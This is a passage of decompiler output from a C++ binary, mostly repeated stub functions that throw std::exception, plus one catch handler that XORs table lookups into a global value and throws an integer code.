__int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000007E28) ---------------------------------------------------- void __noreturn sub_7E28() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000007ECE) ---------------------------------------------------- void __noreturn sub_7ECE() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000007FCA) ---------------------------------------------------- void __noreturn sub_7FCA() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008070) ---------------------------------------------------- void __noreturn sub_8070() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (00000000000080F8) ---------------------------------------------------- void __noreturn sub_80F8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000819A) ---------------------------------------------------- void __noreturn sub_819A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000827B) ---------------------------------------------------- void __usercall __noreturn sub_827B(__int64 a1@<rax>) { _DWORD *v1; // rax __cxa_begin_catch(a1); dword_2131D4 = *((_DWORD *)off_213150 + BYTE1(dword_2131CC) + 576LL) ^ *((_DWORD *)off_213150 + (unsigned __int8)dword_2131CC + 320LL) ^ *((_DWORD *)off_213150 + ((unsigned int)dword_2131CC >> 24) + 64LL) ^ *((_DWORD *)off_213150 + BYTE2(dword_2131CC) + 832LL); v1 = (_DWORD *)__cxa_allocate_exception(4LL); *v1 = 103; __cxa_throw(v1, &`typeinfo for'int, 0LL); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000833C) ---------------------------------------------------- void __noreturn sub_833C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (00000000000083C4) ---------------------------------------------------- void __noreturn sub_83C4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (000000000000844C) ---------------------------------------------------- void __noreturn sub_844C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000084F2) ---------------------------------------------------- void __noreturn sub_84F2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131CC: using guessed type int dword_2131CC; //----- (0000000000008578) ---------------------------------------------------- void __noreturn sub_8578() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000861E) ---------------------------------------------------- void __noreturn sub_861E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C4: using guessed type int dword_2131C4; //----- (00000000000086A8) ---------------------------------------------------- void __noreturn sub_86A8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (0000000000008730) ---------------------------------------------------- void __noreturn sub_8730() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000087D2) ---------------------------------------------------- void __noreturn sub_87D2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (00000000000088CE) ---------------------------------------------------- void __noreturn sub_88CE() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131C8: using guessed type int dword_2131C8; //----- (0000000000008958) ---------------------------------------------------- void __noreturn sub_8958() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008A54) ---------------------------------------------------- void __noreturn sub_8A54() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008AFA) ---------------------------------------------------- void __noreturn sub_8AFA() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131A0: using guessed type __int64 qword_2131A0; // 2131C0: using guessed type int dword_2131C0; //----- (0000000000008BBC) ---------------------------------------------------- void __noreturn sub_8BBC() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008C5E) ---------------------------------------------------- void __noreturn sub_8C5E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008D5A) ---------------------------------------------------- void __noreturn sub_8D5A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008DFC) ---------------------------------------------------- void __noreturn sub_8DFC() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; //----- (0000000000008E8E) ---------------------------------------------------- void __noreturn sub_8E8E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008F30) ---------------------------------------------------- void __noreturn sub_8F30() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000008FD6) ---------------------------------------------------- void __noreturn sub_8FD6() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (00000000000090D2) ---------------------------------------------------- void __noreturn sub_90D2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (000000000000915A) ---------------------------------------------------- void __noreturn sub_915A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); //----- (00000000000091D4) ---------------------------------------------------- void __noreturn sub_91D4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (000000000000925C) ---------------------------------------------------- void __noreturn sub_925C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; //----- (00000000000092EE) ---------------------------------------------------- void __noreturn sub_92EE() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C4: using guessed type int dword_2131C4; //----- (0000000000009378) ---------------------------------------------------- void __noreturn sub_9378() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (0000000000009400) ---------------------------------------------------- void __noreturn sub_9400() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (0000000000009488) ---------------------------------------------------- void __noreturn sub_9488() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000952E) ---------------------------------------------------- void __noreturn sub_952E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C4: using guessed type int dword_2131C4; //----- (00000000000095B8) ---------------------------------------------------- void __noreturn sub_95B8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (0000000000009640) ---------------------------------------------------- void __noreturn sub_9640() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000096E2) ---------------------------------------------------- void __noreturn sub_96E2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009788) ---------------------------------------------------- void __noreturn sub_9788() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (0000000000009810) ---------------------------------------------------- void __noreturn sub_9810() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (0000000000009898) ---------------------------------------------------- void __noreturn sub_9898() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009994) ---------------------------------------------------- void __noreturn sub_9994() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C0: using guessed type int dword_2131C0; //----- (0000000000009A1A) ---------------------------------------------------- void __noreturn sub_9A1A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (0000000000009B16) ---------------------------------------------------- void __noreturn sub_9B16() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (0000000000009B9E) ---------------------------------------------------- void __noreturn sub_9B9E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009C40) ---------------------------------------------------- void __noreturn sub_9C40() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009CE8) ---------------------------------------------------- void __noreturn sub_9CE8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009D90) ---------------------------------------------------- void __noreturn sub_9D90() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009E36) ---------------------------------------------------- void __noreturn sub_9E36() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 